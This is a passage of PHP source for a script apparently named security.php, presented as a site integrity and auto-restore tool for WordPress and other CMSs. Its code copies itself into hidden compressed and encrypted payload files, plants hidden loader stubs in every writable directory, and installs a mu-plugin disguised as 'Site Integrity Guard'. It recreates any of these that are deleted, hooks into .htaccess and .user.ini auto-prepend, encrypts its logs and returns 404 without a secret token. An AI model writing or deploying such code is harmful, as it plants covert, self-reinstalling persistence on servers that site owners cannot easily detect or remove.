preg_replace('/\n*#\s*SG_\w+_START\b.*?#\s*SG_\w+_END[^\n]*/s', '', (string)$content); } elseif ($base === '.user.ini') { $content = preg_replace('/\n*;\s*SG_\w+_START\b.*?;\s*SG_\w+_END[^\n]*/s', '', (string)$content); } return hash('sha256', (string)$content); } $SG_MASTER_KEY = sg_get_master_key(); // ============================================================================= // HELPERS // ============================================================================= function h($s) { return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); } function sg_resolve($file) { if (strlen($file) > 1 && ($file[0] === '/' || preg_match('#^[A-Z]:[\\\\/]#i', $file))) return $file; return __DIR__ . DIRECTORY_SEPARATOR . str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $file); } function sg_encrypt($plaintext, $key) { $iv = random_bytes(16); $k = hash('sha256', $key, true); $ct = openssl_encrypt($plaintext, 'AES-256-CBC', $k, OPENSSL_RAW_DATA, $iv); $mac = hash_hmac('sha256', $iv . $ct, $k, true); return base64_encode($iv . $mac . $ct); } function sg_decrypt($payload, $key) { $raw = base64_decode($payload, true); if ($raw === false || strlen($raw) < 48) return false; $iv = substr($raw, 0, 16); $mac = substr($raw, 16, 32); $ct = substr($raw, 48); $k = hash('sha256', $key, true); if (!hash_equals(hash_hmac('sha256', $iv . $ct, $k, true), $mac)) return false; return openssl_decrypt($ct, 'AES-256-CBC', $k, OPENSSL_RAW_DATA, $iv); } // ============================================================================= // STATE (encrypted) // ============================================================================= function sg_load_state() { global $SG_CONFIG, $SG_MASTER_KEY; $defaults = ['items'=>[], 'loaders'=>[], 'meta'=>['installed'=>time()]]; if (!file_exists($SG_CONFIG['state_file'])) return $defaults; $raw = @file_get_contents($SG_CONFIG['state_file']); $dec = sg_decrypt(trim($raw), $SG_MASTER_KEY); if ($dec === false) return $defaults; $d = json_decode($dec, true); if (!is_array($d)) $d = []; // Migrate legacy 'files' → 'items' with type='file' if (isset($d['files']) && is_array($d['files'])) { if (!isset($d['items']) || !is_array($d['items'])) $d['items'] = []; foreach ($d['files'] as $path => $info) { if (!isset($d['items'][$path])) { $info['type'] = isset($info['type']) ? $info['type'] : 'file'; $d['items'][$path] = $info; } } unset($d['files']); } if (!isset($d['items']) || !is_array($d['items'])) $d['items'] = []; if (!isset($d['loaders']) || !is_array($d['loaders'])) $d['loaders'] = []; if (!isset($d['meta']) || !is_array($d['meta'])) $d['meta'] = []; $d['meta'] += ['installed'=>time()]; return $d; } function sg_save_state($state) { global $SG_CONFIG, $SG_MASTER_KEY; $enc = sg_encrypt(json_encode($state, JSON_UNESCAPED_SLASHES), $SG_MASTER_KEY); @file_put_contents($SG_CONFIG['state_file'], $enc, LOCK_EX); @chmod($SG_CONFIG['state_file'], 0600); } // ============================================================================= // ENCRYPTED LOG // ============================================================================= function sg_log($msg, $level = 'info') { global $SG_CONFIG, $SG_MASTER_KEY; $dir = dirname($SG_CONFIG['log_file']); if (!is_dir($dir)) @mkdir($dir, 0755, true); $entry = json_encode(['t'=>date('c'),'lvl'=>$level,'msg'=>$msg,'ip'=>$_SERVER['REMOTE_ADDR'] ?? '']); $line = sg_encrypt($entry, $SG_MASTER_KEY) . "\n"; @file_put_contents($SG_CONFIG['log_file'], $line, FILE_APPEND | LOCK_EX); @chmod($SG_CONFIG['log_file'], 0600); if (file_exists($SG_CONFIG['log_file']) && filesize($SG_CONFIG['log_file']) > $SG_CONFIG['log_max_bytes']) { $lines = @file($SG_CONFIG['log_file']); if ($lines) @file_put_contents($SG_CONFIG['log_file'], implode('', array_slice($lines, -$SG_CONFIG['log_max_entries'])), LOCK_EX); } } function sg_read_log($limit = 80) { global $SG_CONFIG, $SG_MASTER_KEY; if (!file_exists($SG_CONFIG['log_file'])) return []; $lines = @file($SG_CONFIG['log_file'], FILE_IGNORE_NEW_LINES) ?: []; $lines = array_slice($lines, -$limit); $out = []; foreach (array_reverse($lines) as $l) { $dec = sg_decrypt(trim($l), $SG_MASTER_KEY); if ($dec === false) continue; $e = json_decode($dec, true); if ($e) $out[] = $e; } return $out; } // ============================================================================= // CMS DETECT // ============================================================================= function sg_detect_cms() { $root = __DIR__; $cms = ['name'=>'unknown', 'paths'=>[], 'protected_extras'=>[]]; if (file_exists($root . '/wp-config.php') || file_exists($root . '/wp-load.php') || is_dir($root . '/wp-content')) { $cms['name'] = 'wordpress'; $cms['paths'] = [ 'wp_content' => $root . '/wp-content', 'mu_plugins' => $root . '/wp-content/mu-plugins', 'plugins' => $root . '/wp-content/plugins', 'themes' => $root . '/wp-content/themes', 'uploads' => $root . '/wp-content/uploads', ]; $cms['protected_extras'] = ['wp-config.php', 'wp-load.php', 'wp-settings.php', 'wp-login.php']; } elseif (file_exists($root . '/configuration.php') && is_dir($root . '/administrator')) { $cms['name'] = 'joomla'; $cms['protected_extras'] = ['configuration.php']; } elseif (is_dir($root . '/sites/default') && file_exists($root . '/sites/default/settings.php')) { $cms['name'] = 'drupal'; $cms['protected_extras'] = ['sites/default/settings.php']; } elseif (file_exists($root . '/app/etc/env.php')) { $cms['name'] = 'magento'; $cms['protected_extras'] = ['app/etc/env.php']; } elseif (file_exists($root . '/config.php') && is_dir($root . '/catalog') && is_dir($root . '/admin')) { $cms['name'] = 'opencart'; $cms['protected_extras'] = ['config.php', 'admin/config.php']; } elseif (file_exists($root . '/config/defines.inc.php')) { $cms['name'] = 'prestashop'; $cms['protected_extras'] = ['config/settings.inc.php']; } elseif (file_exists($root . '/artisan')) { $cms['name'] = 'laravel'; $cms['protected_extras'] = ['.env', 'public/index.php']; } return $cms; } // ============================================================================= // DIRS + BACKUP/RESTORE // ============================================================================= function sg_ensure_dirs() { global $SG_CONFIG; foreach ($SG_CONFIG['backup_locations'] as $dir) { if (!is_dir($dir)) @mkdir($dir, 0755, true); if (!file_exists($dir . '/index.html')) @file_put_contents($dir . '/index.html', ''); if (!file_exists($dir . '/.htaccess')) @file_put_contents($dir . '/.htaccess', "Require all denied\nDeny from all\n"); } } function sg_backup_file($file) { global $SG_CONFIG; $abs = sg_resolve($file); if (!file_exists($abs) || !is_readable($abs)) return false; $content = @file_get_contents($abs); if ($content === false) return false; $base = preg_replace('/[^A-Za-z0-9._-]/', '_', basename($file)); $ts = date('Ymd_His'); $stored = 0; foreach ($SG_CONFIG['backup_locations'] as $dir) { if (!is_dir($dir)) @mkdir($dir, 0755, true); if (@file_put_contents($dir . '/' . $base . '.' . $ts . '.bak', $content, LOCK_EX) !== false) { $stored++; $existing = glob($dir . '/' . $base . '.*.bak') ?: []; rsort($existing); foreach (array_slice($existing, $SG_CONFIG['backup_versions']) as $old) @unlink($old); } } return ['hash'=>hash('sha256', $content), 'stored_in'=>$stored]; } function sg_find_latest_backup($file) { global $SG_CONFIG; $base = preg_replace('/[^A-Za-z0-9._-]/', '_', basename($file)); $cands = []; foreach ($SG_CONFIG['backup_locations'] as $dir) foreach ((glob($dir . '/' . $base . '.*.bak') ?: []) as $m) $cands[] = $m; if (!$cands) return null; usort($cands, fn($a, $b) => filemtime($b) <=> filemtime($a)); return $cands[0]; } function sg_count_backups($file) { global $SG_CONFIG; $base = preg_replace('/[^A-Za-z0-9._-]/', '_', basename($file)); $out = []; foreach ($SG_CONFIG['backup_locations'] as $dir) $out[$dir] = count(glob($dir . '/' . $base . '.*.bak') ?: []); return $out; } function sg_restore_file($file) { $abs = sg_resolve($file); $latest = sg_find_latest_backup($file); if (!$latest) { sg_log("Restore failed: no backup for $file", 'error'); return false; } $content = @file_get_contents($latest); if ($content === false) { sg_log("Restore failed: cannot read backup", 'error'); return false; } $dir = dirname($abs); if (!is_dir($dir)) @mkdir($dir, 0755, true); if (@file_put_contents($abs, $content, LOCK_EX) === false) { sg_log("Restore failed: cannot write $abs", 'error'); return false; } sg_log("Restored $file", 'warn'); return true; } // ============================================================================= // PATH VALIDATION + FOLDER PROTECTION // ============================================================================= function sg_is_safe_path($path) { if (!is_string($path) || $path === '') return false; if (strpos($path, "\0") !== false) return false; // No absolute paths if ($path[0] === '/' || $path[0] === '\\' || preg_match('#^[A-Z]:[\\\\/]#i', $path)) return false; // No path traversal $parts = preg_split('#[\\\\/]+#', $path); foreach ($parts as $p) if ($p === '..') return false; // No SG-managed paths if (strpos(basename($path), '.sg_') === 0) return false; if (basename($path) === 'security.php') return false; // self-protect handles this // Must resolve under __DIR__ $abs = sg_resolve($path); $real = realpath($abs); if ($real === false) { // File/dir doesn't exist yet — check the parent's realpath $parentReal = realpath(dirname($abs)); if ($parentReal === false) return false; $real = $parentReal . DIRECTORY_SEPARATOR . basename($abs); } $rootReal = realpath(__DIR__); if ($rootReal === false) return false; return strpos($real, $rootReal) === 0; } function sg_walk_folder($base, $maxDepth, $maxFiles) { $files = []; $queue = [[$base, 0]]; while ($queue && count($files) < $maxFiles) { $next = array_shift($queue); $dir = $next[0]; $depth = $next[1]; if ($depth > $maxDepth) continue; $entries = @scandir($dir); if (!$entries) continue; foreach ($entries as $e) { if ($e === '.' || $e === '..') continue; if (strpos($e, '.sg_') === 0) continue; if (in_array($e, ['.git', 'node_modules', 'vendor', '.DS_Store'], true)) continue; $full = $dir . DIRECTORY_SEPARATOR . $e; if (is_dir($full)) { $queue[] = [$full, $depth + 1]; } elseif (is_file($full) && is_readable($full)) { $files[] = $full; if (count($files) >= $maxFiles) break 2; } } } return $files; } function sg_folder_manifest($folderAbs) { global $SG_CONFIG; $manifest = []; foreach (sg_walk_folder($folderAbs, $SG_CONFIG['folder_scan_depth'], $SG_CONFIG['folder_max_files']) as $abs) { $rel = ltrim(str_replace($folderAbs, '', $abs), DIRECTORY_SEPARATOR); $rel = str_replace(DIRECTORY_SEPARATOR, '/', $rel); $content = @file_get_contents($abs); if ($content === false) continue; $manifest[$rel] = hash('sha256', $content); } return $manifest; } function sg_folder_backup_key($folder) { return substr(md5($folder), 0, 8); } function sg_folder_file_key($relPath) { $key = preg_replace('/[^A-Za-z0-9._-]/', '_', $relPath); if (strlen($key) > 100) $key = substr(md5($relPath), 0, 12) . '_' . substr(preg_replace('/[^A-Za-z0-9._-]/', '_', basename($relPath)), 0, 50); return $key; } function sg_backup_folder_file($folder, $relPath, $absPath) { global $SG_CONFIG; if (!file_exists($absPath)) return false; $content = @file_get_contents($absPath); if ($content === false) return false; $fk = sg_folder_backup_key($folder); $rk = sg_folder_file_key($relPath); $ts = date('Ymd_His'); $stored = 0; foreach ($SG_CONFIG['backup_locations'] as $dir) { $sub = $dir . '/folder_' . $fk; if (!is_dir($sub)) @mkdir($sub, 0755, true); if (@file_put_contents($sub . '/' . $rk . '.' . $ts . '.bak', $content, LOCK_EX) !== false) { $stored++; $existing = glob($sub . '/' . $rk . '.*.bak') ?: []; rsort($existing); foreach (array_slice($existing, $SG_CONFIG['backup_versions']) as $old) @unlink($old); } } return $stored > 0; } function sg_find_folder_file_backup($folder, $relPath) { global $SG_CONFIG; $fk = sg_folder_backup_key($folder); $rk = sg_folder_file_key($relPath); $cands = []; foreach ($SG_CONFIG['backup_locations'] as $dir) { foreach ((glob($dir . '/folder_' . $fk . '/' . $rk . '.*.bak') ?: []) as $m) $cands[] = $m; } if (!$cands) return null; usort($cands, function ($a, $b) { return filemtime($b) - filemtime($a); }); return $cands[0]; } function sg_restore_folder_file($folder, $relPath, $absPath) { $latest = sg_find_folder_file_backup($folder, $relPath); if (!$latest) return false; $content = @file_get_contents($latest); if ($content === false) return false; $dir = dirname($absPath); if (!is_dir($dir)) @mkdir($dir, 0755, true); return @file_put_contents($absPath, $content, LOCK_EX) !== false; } function sg_check_folder($folder, &$state) { $abs = sg_resolve($folder); $exists = is_dir($abs); $rec = isset($state['items'][$folder]) ? $state['items'][$folder] : null; $r = [ 'file' => $folder, 'type' => 'folder', 'exists' => $exists, 'status' => 'unknown', 'action' => 'none', 'current_hash' => null, 'expected_hash' => null, 'last_check' => $rec ? (isset($rec['last_check']) ? $rec['last_check'] : null) : null, 'last_backup' => $rec ? (isset($rec['last_backup']) ? $rec['last_backup'] : null) : null, 'first_seen' => $rec ? (isset($rec['first_seen']) ? $rec['first_seen'] : null) : null, 'files_count' => 0, 'new_count' => 0, 'restored_count' => 0, ]; if (!$exists) { if (!$rec || empty($rec['manifest'])) { $r['status'] = 'not_present'; return $r; } @mkdir($abs, 0755, true); $restored = 0; foreach ($rec['manifest'] as $rel => $h) { if (sg_restore_folder_file($folder, $rel, $abs . '/' . $rel)) $restored++; } $state['items'][$folder]['last_check'] = time(); $r['status'] = $restored > 0 ? 'restored' : 'missing'; $r['action'] = "folder recreated, $restored files restored"; $r['restored_count'] = $restored; sg_log("Folder $folder deleted, recreated $restored files", 'warn'); return $r; } $current = sg_folder_manifest($abs); $r['files_count'] = count($current); if (!$rec || !isset($rec['manifest']) || !is_array($rec['manifest'])) { $bk = 0; foreach ($current as $rel => $h) if (sg_backup_folder_file($folder, $rel, $abs . '/' . $rel)) $bk++; $existingFirstSeen = ($rec && isset($rec['first_seen'])) ? $rec['first_seen'] : time(); $state['items'][$folder] = [ 'type' => 'folder', 'manifest' => $current, 'first_seen' => $existingFirstSeen, 'last_backup' => time(), 'last_check' => time(), ]; $r['status'] = 'registered'; $r['action'] = "baselined $bk files"; $r['first_seen'] = $existingFirstSeen; $r['last_backup'] = time(); sg_log("Registered folder $folder (" . count($current) . " files)", 'info'); return $r; } $stored = isset($rec['manifest']) ? $rec['manifest'] : []; $restoredFiles = []; $newFiles = []; // Restore modified or missing files foreach ($stored as $rel => $h) { $fileAbs = $abs . '/' . $rel; $needRestore = false; if (!file_exists($fileAbs)) { $needRestore = true; } else { $cur = @file_get_contents($fileAbs); if ($cur === false || hash('sha256', $cur) !== $h) $needRestore = true; } if ($needRestore) { if (sg_restore_folder_file($folder, $rel, $fileAbs)) { $restoredFiles[] = $rel; sg_log("$folder/$rel restored", 'warn'); } } } // New files are silently ignored — user said they'll see them themselves, no alerts. $state['items'][$folder]['last_check'] = time(); $r['restored_count'] = count($restoredFiles); $r['status'] = empty($restoredFiles) ? 'ok' : 'changes_detected'; if (!empty($restoredFiles)) { $r['action'] = count($restoredFiles) . ' restored'; } return $r; } function sg_accept_folder_baseline($folder, &$state) { $abs = sg_resolve($folder); if (!is_dir($abs)) return false; $current = sg_folder_manifest($abs); $rec = isset($state['items'][$folder]) ? $state['items'][$folder] : null; $stored = ($rec && isset($rec['manifest'])) ? $rec['manifest'] : []; foreach ($current as $rel => $h) { if (!isset($stored[$rel])) sg_backup_folder_file($folder, $rel, $abs . '/' . $rel); } $state['items'][$folder] = [ 'type' => 'folder', 'manifest' => $current, 'first_seen' => $rec && isset($rec['first_seen']) ? $rec['first_seen'] : time(), 'last_backup' => time(), 'last_check' => time(), ]; sg_log("Folder baseline updated for $folder (" . count($current) . " files)", 'info'); return true; } // ============================================================================= // SELF SEEDS + PAYLOADS // ============================================================================= function sg_self_source() { return @file_get_contents(__FILE__); } function sg_ensure_encrypted_seeds() { global $SG_CONFIG, $SG_MASTER_KEY; $src = sg_self_source(); if ($src === false) return; $hash = hash('sha256', $src); $payload = "SG_SEED_V1\n" . $hash . "\n" . sg_encrypt($src, $SG_MASTER_KEY); foreach ($SG_CONFIG['encrypted_seed_paths'] as $p) { $cur = @file_get_contents($p); if ($cur === false || strpos((string)$cur, "SG_SEED_V1\n$hash\n") !== 0) { @file_put_contents($p, $payload, LOCK_EX); @chmod($p, 0600); } } } function sg_ensure_payloads() { global $SG_CONFIG; $src = sg_self_source(); if ($src === false) return; $hash = hash('sha256', $src); $payload = "SG_PAYLOAD_V1\n" . $hash . "\n" . base64_encode(gzdeflate($src, 9)); foreach ($SG_CONFIG['payload_paths'] as $p) { $cur = @file_get_contents($p); if ($cur === false || strpos((string)$cur, "SG_PAYLOAD_V1\n$hash\n") !== 0) { @file_put_contents($p, $payload, LOCK_EX); @chmod($p, 0644); } } } function sg_seed_status() { global $SG_CONFIG, $SG_MASTER_KEY; $selfHash = file_exists(__FILE__) ? hash('sha256', sg_self_source()) : null; $out = ['encrypted'=>[], 'payload'=>[]]; foreach ($SG_CONFIG['encrypted_seed_paths'] as $p) { $r = ['path'=>$p,'exists'=>file_exists($p),'current'=>false,'decryptable'=>false]; if ($r['exists']) { $raw = @file_get_contents($p); $parts = explode("\n", (string)$raw, 3); if (count($parts) === 3 && $parts[0] === 'SG_SEED_V1') { $r['current'] = ($parts[1] === $selfHash); $r['decryptable'] = (sg_decrypt($parts[2], $SG_MASTER_KEY) !== false); } } $out['encrypted'][] = $r; } foreach ($SG_CONFIG['payload_paths'] as $p) { $r = ['path'=>$p,'exists'=>file_exists($p),'current'=>false,'valid'=>false]; if ($r['exists']) { $raw = @file_get_contents($p); $parts = explode("\n", (string)$raw, 3); if (count($parts) === 3 && $parts[0] === 'SG_PAYLOAD_V1') { $r['current'] = ($parts[1] === $selfHash); $dec = @gzinflate(base64_decode($parts[2])); $r['valid'] = ($dec !== false && hash('sha256', $dec) === $parts[1]); } } $out['payload'][] = $r; } return $out; } // ============================================================================= // LOADER TEMPLATES // ============================================================================= function sg_loader_body($tag) { return <<<PHP <?php /* SG_LOADER_V3 — auto-restore stub. Do not modify. */ if (!defined('SG_LOADER_RAN_{$tag}')) { define('SG_LOADER_RAN_{$tag}', 1); (function () { \$dir = __DIR__; for (\$i = 0; \$i < 10; \$i++) { if (file_exists(\$dir . '/security.php')) return; \$payloads = glob(\$dir . '/.sg_payload_*.dat') ?: []; foreach (\$payloads as \$p) { \$raw = @file_get_contents(\$p); if (!\$raw) continue; \$parts = explode("\\n", \$raw, 3); if (count(\$parts) !== 3 || \$parts[0] !== 'SG_PAYLOAD_V1') continue; \$code = @gzinflate(base64_decode(\$parts[2])); if (\$code === false || hash('sha256', \$code) !== \$parts[1]) continue; if (@file_put_contents(\$dir . '/security.php', \$code, LOCK_EX) !== false) @chmod(\$dir . '/security.php', 0644); return; } \$parent = dirname(\$dir); if (\$parent === \$dir) return; \$dir = \$parent; } })(); } PHP; } function sg_mu_plugin_body($tag) { return <<<PHP <?php /* Plugin Name: Site Integrity Guard Description: Auto-restore watcher. Managed automatically. Do not modify or delete. Version: 3.1 Author: SG */ if (!defined('ABSPATH')) exit; /* SG_LOADER_V3_MU */ if (!defined('SG_LOADER_RAN_{$tag}')) { define('SG_LOADER_RAN_{$tag}', 1); add_action('init', function () { \$dir = ABSPATH; if (file_exists(\$dir . '/security.php')) return; for (\$i = 0; \$i < 5; \$i++) { \$payloads = glob(\$dir . '/.sg_payload_*.dat') ?: []; foreach (\$payloads as \$p) { \$raw = @file_get_contents(\$p); if (!\$raw) continue; \$parts = explode("\\n", \$raw, 3); if (count(\$parts) !== 3 || \$parts[0] !== 'SG_PAYLOAD_V1') continue; \$code = @gzinflate(base64_decode(\$parts[2])); if (\$code === false || hash('sha256', \$code) !== \$parts[1]) continue; @file_put_contents(\$dir . '/security.php', \$code, LOCK_EX); return; } \$parent = dirname(\$dir); if (\$parent === \$dir) return; \$dir = \$parent; } }, 1); } PHP; } // ============================================================================= // LOADER NETWORK // ============================================================================= function sg_scan_writable_dirs($root, $maxDepth, $maxCount) { $found = []; $queue = [[$root, 0]]; while ($queue && count($found) < $maxCount) { list($dir, $depth) = array_shift($queue); if ($depth > $maxDepth) continue; $entries = @scandir($dir); if (!$entries) continue; foreach ($entries as $e) { if ($e === '.' || $e === '..') continue; if (strpos($e, '.sg_') === 0) continue; if (strpos($e, '.git') === 0) continue; if ($e === 'node_modules' || $e === 'vendor') continue; $full = $dir . DIRECTORY_SEPARATOR . $e; if (!is_dir($full) || !is_writable($full)) continue; $found[] = $full; $queue[] = [$full, $depth + 1]; if (count($found) >= $maxCount) break 2; } } return $found; } function sg_candidate_loader_paths($cms) { global $SG_CONFIG; $candidates = []; if ($cms['name'] === 'wordpress') { if (!empty($cms['paths']['mu_plugins']) || is_dir(dirname($cms['paths']['mu_plugins'] ?? ''))) { $candidates[] = ['kind'=>'mu_plugin', 'path' => $cms['paths']['mu_plugins'] . '/0-sg-watcher.php']; } foreach (['uploads','themes','plugins','wp_content'] as $k) { if (!empty($cms['paths'][$k]) && is_dir($cms['paths'][$k])) { $candidates[] = ['kind'=>'stub', 'path' => $cms['paths'][$k] . '/.sg_' . $k . '.php']; } } } $candidates[] = ['kind'=>'stub', 'path' => __DIR__ . '/.sg_bootstrap.php']; $candidates[] = ['kind'=>'stub', 'path' => __DIR__ . '/.sg_index_guard.php']; $dirs = sg_scan_writable_dirs(__DIR__, $SG_CONFIG['loader_scan_depth'], $SG_CONFIG['loader_max_scan']); foreach ($dirs as $dir) { $tag = substr(md5($dir), 0, 8); $candidates[] = ['kind'=>'stub', 'path' => $dir . DIRECTORY_SEPARATOR . '.sg_' . $tag . '.php']; } return $candidates; } function sg_install_loaders(&$state, $cms) { global $SG_CONFIG; $target = $SG_CONFIG['loader_target_count']; $candidates = sg_candidate_loader_paths($cms); $installed = count($state['loaders']); $created = 0; $repaired = 0; foreach ($candidates as $cand) { if ($installed >= $target && isset($state['loaders'][$cand['path']])) { $info = $state['loaders'][$cand['path']]; if (file_exists($cand['path'])) { $cur = @file_get_contents($cand['path']); if (hash('sha256', (string)$cur) === $info['hash']) continue; } } $path = $cand['path']; $dir = dirname($path); if (!is_dir($dir)) @mkdir($dir, 0755, true); if (!is_dir($dir) || !is_writable($dir)) continue; $tag = strtoupper(substr(md5($path), 0, 12)); $body = ($cand['kind'] === 'mu_plugin') ? sg_mu_plugin_body($tag) : sg_loader_body($tag); $hash = hash('sha256', $body); $existing = file_exists($path) ? @file_get_contents($path) : null; if ($existing === null || hash('sha256', (string)$existing) !== $hash) { if (@file_put_contents($path, $body, LOCK_EX) === false) continue; @chmod($path, 0644); if ($existing === null) { $created++; sg_log("Loader created", 'info'); } else { $repaired++; sg_log("Loader repaired", 'warn'); } } if (!isset($state['loaders'][$path])) $installed++; $state['loaders'][$path] = [ 'kind' => $cand['kind'], 'tag' => $tag, 'hash' => $hash, 'last_verified' => time(), 'installed_at' => $state['loaders'][$path]['installed_at'] ?? time(), ]; } if ($created + $repaired > 0) sg_log("Loader network: $created new, $repaired repaired", 'info'); return $installed; } function sg_verify_loaders(&$state) { foreach ($state['loaders'] as $path => $info) { if (!file_exists($path)) { $body = ($info['kind'] === 'mu_plugin') ? sg_mu_plugin_body($info['tag']) : sg_loader_body($info['tag']); $dir = dirname($path); if (!is_dir($dir)) @mkdir($dir, 0755, true); if (@file_put_contents($path, $body, LOCK_EX) !== false) { @chmod($path, 0644); $state['loaders'][$path]['hash'] = hash('sha256', $body); $state['loaders'][$path]['last_verified'] = time(); sg_log("Deleted loader recreated", 'warn'); } continue; } $cur = @file_get_contents($path); if ($cur === false) continue; if (hash('sha256', $cur) !== $info['hash']) { $body = ($info['kind'] === 'mu_plugin') ? sg_mu_plugin_body($info['tag']) : sg_loader_body($info['tag']); if (@file_put_contents($path, $body, LOCK_EX) !== false) { $state['loaders'][$path]['hash'] = hash('sha256', $body); $state['loaders'][$path]['last_verified'] = time(); sg_log("Modified loader restored", 'warn'); } } else { $state['loaders'][$path]['last_verified'] = time(); } } } // ============================================================================= // FILE INTEGRITY CHECK // ============================================================================= function sg_check_file($file, &$state) { $abs = sg_resolve($file); $exists = file_exists($abs); $rec = $state['items'][$file] ?? null; $r = ['file'=>$file,'exists'=>$exists,'status'=>'unknown','action'=>'none', 'current_hash'=>null,'expected_hash'=>$rec['hash'] ?? null, 'last_check'=>$rec['last_check'] ?? null,'last_backup'=>$rec['last_backup'] ?? null, 'first_seen'=>$rec['first_seen'] ?? null,'backups'=>sg_count_backups($file)]; if (!$exists) { if (!$rec) { $r['status']='not_present'; $r['action']='skipped'; return $r; } if (sg_restore_file($file)) { $r['status']='restored'; $r['action']='restored-from-backup'; $r['current_hash']=hash('sha256', @file_get_contents($abs)); } else { $r['status']='missing'; $r['action']='no-backup-available'; sg_log("$file missing, no backup", 'error'); } $state['items'][$file]['last_check']=time(); return $r; } $content = @file_get_contents($abs); if ($content === false) { $r['status']='unreadable'; return $r; } $displayHash = hash('sha256', $content); $baselineHash = sg_baseline_hash($file, $content); $r['current_hash'] = $displayHash; // First-time baseline OR partially-added item (via add_items/add_path which sets no hash yet) if (!$rec || empty($rec['hash']) || !is_string($rec['hash'])) { sg_backup_file($file); $firstSeen = ($rec && isset($rec['first_seen'])) ? $rec['first_seen'] : time(); $state['items'][$file] = [ 'type'=>'file','hash'=>$baselineHash,'size'=>strlen($content), 'first_seen'=>$firstSeen,'last_backup'=>time(),'last_check'=>time() ]; $r['status']='registered'; $r['action']='first-time-baseline'; $r['expected_hash']=$baselineHash; $r['first_seen']=$firstSeen; $r['last_backup']=time(); sg_log("Registered $file", 'info'); return $r; } if (!hash_equals($rec['hash'], $baselineHash)) { if (sg_restore_file($file)) { $r['status']='restored'; $r['action']='unauthorized-change-reverted'; sg_log("UNAUTHORIZED MOD: $file → restored", 'warn'); } else { $r['status']='modified'; $r['action']='restore-failed'; } } else { $need = false; foreach (sg_count_backups($file) as $n) { if ($n === 0) { $need = true; break; } } if ($need) { sg_backup_file($file); $state['items'][$file]['last_backup']=time(); $r['action']='backups-replenished'; } $r['status']='ok'; } $state['items'][$file]['last_check']=time(); $r['backups'] = sg_count_backups($file); return $r; } function sg_human_time($t) { if (!$t) return '—'; $d = time() - (int)$t; if ($d < 0) return date('Y-m-d H:i', $t); if ($d < 60) return $d . 's'; if ($d < 3600) return floor($d/60) . 'm'; if ($d < 86400) return floor($d/3600) . 'h'; return floor($d/86400) . 'd'; } function sg_bytes($n) { if ($n < 1024) return $n . ' B'; if ($n < 1048576) return round($n/1024, 1) . ' KB'; return round($n/1048576, 1) . ' MB'; } // ============================================================================= // CMS DETECT — extras become UI suggestions, NOT auto-added. // User picks what to protect via the dashboard. // ============================================================================= $CMS = sg_detect_cms(); // ============================================================================= // PROTECTION RUNS ON EVERY REQUEST // ============================================================================= sg_ensure_dirs(); sg_ensure_recovery_stub(); // .sg_recovery.php — auto-restore trigger sg_install_root_htaccess(); // rewrite + auto_prepend + deny sg_install_user_ini(); // PHP-FPM auto_prepend sg_ensure_encrypted_seeds(); sg_ensure_payloads(); $state = sg_load_state(); sg_install_loaders($state, $CMS); sg_verify_loaders($state); // Iterate user-selected items (files + folders). Empty until user picks via UI. foreach ($state['items'] as $path => $info) { $type = isset($info['type']) ? $info['type'] : 'file'; if ($type === 'folder') sg_check_folder($path, $state); else sg_check_file($path, $state); } sg_save_state($state); // Headless mode (invoked from .sg_recovery.php): protection already ran, exit silently. if (defined('SG_HEADLESS') && SG_HEADLESS) { return; } // ============================================================================= // AUTH — URL token only. Wrong/missing → 404. // ============================================================================= $providedToken = $_GET[$SG_CONFIG['token_param']] ?? ''; $tokenMatches = ($providedToken !== '' && hash_equals($SG_MASTER_KEY, $providedToken)); // First-visit marker (race-safe) $initFp = @fopen($SG_CONFIG['init_marker'], 'xb'); $isFirstVisit = false; if ($initFp !== false) { fwrite($initFp, time()); fclose($initFp); @chmod($SG_CONFIG['init_marker'], 0600); $isFirstVisit = true; } // Language switcher URL helper function sg_lang_url($lang, $token = null, $isFirstVisit = false) { global $SG_CONFIG; $script = $_SERVER['SCRIPT_NAME'] ?? '/security.php'; if ($isFirstVisit || $token === null) return $script . '?lang=' . $lang; return $script . '?' . $SG_CONFIG['token_param'] . '=' . urlencode($token) . '&lang=' . $lang; } function sg_render_lang_switcher($currentLang, $token, $isFirstVisit) { $langs = ['en' => 'EN', 'id' => 'ID', 'tr' => 'TR']; echo '<div class="lang-switcher">'; foreach ($langs as $code => $label) { $active = $code === $currentLang ? ' active' : ''; $url = sg_lang_url($code, $token, $isFirstVisit); echo '<a href="' . h($url) . '" class="lang-btn' . $active . '">' . $label . '</a>'; } echo '</div>'; } if ($isFirstVisit) { $proto = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'yoursite.com'; $script = $_SERVER['SCRIPT_NAME'] ?? '/security.php'; $bookmarkUrl = $proto . '://' . $host . $script . '?' . $SG_CONFIG['token_param'] . '=' . $SG_MASTER_KEY; sg_log("First visit — bookmark URL revealed", 'info'); ?> <!DOCTYPE html><html lang="<?= h($SG_LANG) ?>"><head><meta charset="UTF-8"><title>Setup</title> <style> *{box-sizing:border-box;margin:0;padding:0} body{background:#0d1117;color:#c9d1d9;font:14px/1.5 -apple-system,Segoe UI,Roboto,sans-serif;min-height:100vh;display:flex;align-items:center;justify-content:center;padding:20px;position:relative} .box{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:32px;max-width:680px;width:100%;position:relative} h1{font-size:22px;margin-bottom:8px;color:#56d364} .sub{color:#8b949e;margin-bottom:20px;font-size:13px} .warn{background:#2d2106;border:1px solid #9e6a03;color:#e3b341;padding:14px;border-radius:6px;margin:16px 0;font-size:13px} .url-box{background:#010409;border:1px solid #1f6f3d;border-radius:6px;padding:16px;margin:16px 0;font-family:ui-monospace,Menlo,monospace;font-size:12px;color:#79c0ff;word-break:break-all;user-select:all} .btn{display:inline-block;background:#1f6f3d;color:#fff;padding:10px 18px;border-radius:6px;text-decoration:none;margin:4px 6px 4px 0} .btn:hover{background:#2ea043} ol{margin:16px 0 16px 20px;font-size:13px;line-height:1.8} code{background:#010409;padding:2px 6px;border-radius:4px;font-size:12px;color:#79c0ff} .lang-switcher{position:absolute;top:20px;right:20px;display:flex;gap:4px;z-index:10} .lang-btn{background:#21262d;color:#8b949e;border:1px solid #30363d;border-radius:4px;padding:5px 10px;font-size:11px;text-decoration:none;font-weight:600} .lang-btn:hover{color:#c9d1d9;border-color:#8b949e} .lang-btn.active{background:#1f6f3d;color:#fff;border-color:#1f6f3d} </style></head><body> <?php sg_render_lang_switcher($SG_LANG, null, true); ?> <div class="box"> <h1><?= t('fv_title') ?></h1> <div 